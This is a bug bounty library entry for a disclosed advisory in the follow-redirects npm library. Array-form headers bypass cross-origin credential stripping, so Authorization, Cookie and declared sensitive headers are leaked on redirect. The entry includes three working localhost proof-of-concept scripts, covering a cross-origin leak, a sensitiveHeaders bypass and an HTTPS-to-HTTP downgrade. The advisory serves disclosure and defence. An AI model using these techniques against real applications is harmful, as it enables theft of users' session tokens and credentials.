# follow-redirects array-form headers bypass cross-origin credential stripping

follow-redirects' for...in credential-strip helper no-ops on Node array-form headers, leaking Authorization/Cookie/Proxy-Authorization to cross-origin redirect targets.

- Payout: Research
- Severity: high
- Program: follow-redirects
- Found by: president-xd, eros938, hash3liZer
- Disclosed: 2026-10-20
- CVE: CVE-2026-111756
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-q3jh-wrc6-jgq8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-q3jh-wrc6-jgq8
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:regression technique:source-review vuln:info-disclosure vuln:misconfiguration

**Target:** npm library follow-redirects (HTTP redirect handling)
**Root cause:** removeMatchingHeaders iterates the caller's headers container with for...in and matches names against a regex; when headers is Node's alternating name/value array, for...in yields numeric indices that never match, so nothing is deleted. _sanitizeOptions only replaces falsy headers, leaving arrays untouched.
**Steps:**
1. Confirm Node accepts array-form headers: `http.request({headers:["Authorization","Bearer T","Cookie","c=1"]})` delivers both headers.
2. Start a redirector on 47301 returning `302 Location: http://127.0.0.1:47302/steal` and a collector on 47302 echoing `req.headers`.
3. Call `followRedirects.http.request` with `headers: ["Host","127.0.0.1:47301","Authorization","Bearer ARRAY-FORM-VICTIM-TOKEN","Cookie","session=ARRAY-FORM-SESSION-ID","X-Custom","harmless"]`.
4. Observe collector receives `authorization: Bearer ARRAY-FORM-VICTIM-TOKEN` and `cookie: session=ARRAY-FORM-SESSION-ID` instead of stripped values.
5. Repeat with `sensitiveHeaders: ["X-API-Key"]` and `"X-API-Key","DECLARED-VICTIM-KEY"` in the array; key is also leaked.
6. Control: same headers as an object are correctly stripped, proving only array iteration defeats the filter.
7. Downgrade variant: HTTPS origin 302s to plaintext HTTP; credentials arrive in cleartext.
**How found:** Noticed removeMatchingHeaders assumes a plain object keyed by header names and uses for...in; recalled Node's http.request also accepts alternating name/value arrays, so for...in yields numeric indices that never match the header-name regex. Verified with a minimal redirector/collector harness and an object-form control.
**Exploitation:** Attacker controls or compromises any host the victim application redirects to (or an on-path position for the downgrade case). Victim app uses array-form headers; on a cross-origin or protocol-downgrade 302/301/303, follow-redirects forwards Authorization, Cookie, Proxy-Authorization and caller-declared sensitiveHeaders verbatim to the attacker's collector, which reads them from req.headers. No auth or user interaction needed.
**Escalation:** Protocol-downgrade branch exposes credentials to any on-path network observer, not just the redirect destination; same root cause also re-sends stale Host and inconsistent Content-Length on POST-to-GET.
**Insight:** When auditing header-stripping or sanitization helpers, check every container shape the underlying API accepts (Node headers as object vs alternating array); for...in over an array silently yields indices, so name-based filters no-op. Always run an object-form control to prove the strip branch executes.

## Proof of concept (copied exactly from the original report)

**Array-form headers leak Authorization/Cookie cross-origin**

```
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" });   // cross-origin (different port)
  res.end();
});
var collector = http.createServer(function (req, res) {
  res.end(JSON.stringify(req.headers));                                // attacker-controlled target
});
redirector.listen(47301, "127.0.0.1", function () {
  collector.listen(47302, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 47301, path: "/", method: "GET",
      headers: [
        "Host", "127.0.0.1:47301",
        "Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN",
        "Cookie", "session=ARRAY-FORM-SESSION-ID",
        "X-Custom", "harmless"
      ]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("Authorization :", h.authorization || "(stripped - OK)");
        console.log("Cookie        :", h.cookie || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});
```

**sensitiveHeaders option also defeated in same request**

```
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:47402/steal" });
  res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(47401, "127.0.0.1", function () {
  collector.listen(47402, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 47401, path: "/", method: "GET",
      headers: [
        "Host", "127.0.0.1:47401",
        "Authorization", "Bearer BUILTIN-VICTIM-TOKEN",
        "Cookie", "session=BUILTIN-SESSION-ID",
        "X-API-Key", "DECLARED-VICTIM-KEY"
      ],
      sensitiveHeaders: ["X-API-Key"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
        var h = JSON.parse(body);
        console.log("Authorization (built-in list) :", h.authorization || "(stripped - OK)");
        console.log("Cookie (built-in list)        :", h.cookie || "(stripped - OK)");
        console.log("X-API-Key (sensitiveHeaders)  :", h["x-api-key"] || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});
```

**HTTPS-to-HTTP downgrade leaks credentials in cleartext**

```
var followRedirects = require("./index.js");
var http = require("http"); var https = require("https"); var fs = require("fs");
var opts = { key: fs.readFileSync("test/assets/localhost.key"), cert: fs.readFileSync("test/assets/localhost.crt") };
var ca = fs.readFileSync("test/assets/ca.crt");
var httpsOrigin = https.createServer(opts, function (req, res) {
  req.resume(); res.writeHead(302, { Location: "http://localhost:47502/steal" }); res.end();
});
var httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
httpsOrigin.listen(47501, "localhost", function () {
  httpCollector.listen(47502, "localhost", function () {
    followRedirects.https.request({
      hostname: "localhost", port: 47501, path: "/", method: "GET", ca: ca,
      headers: ["Host", "localhost:47501", "Authorization", "Bearer DOWNGRADE-TOKEN", "Cookie", "session=DOWNGRADE-SESSION"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("Authorization :", h.authorization || "(stripped - OK)");
        console.log("Cookie        :", h.cookie || "(stripped - OK)");
        httpsOrigin.close(); httpCollector.close();
      });
    }).end();
  });
});
```

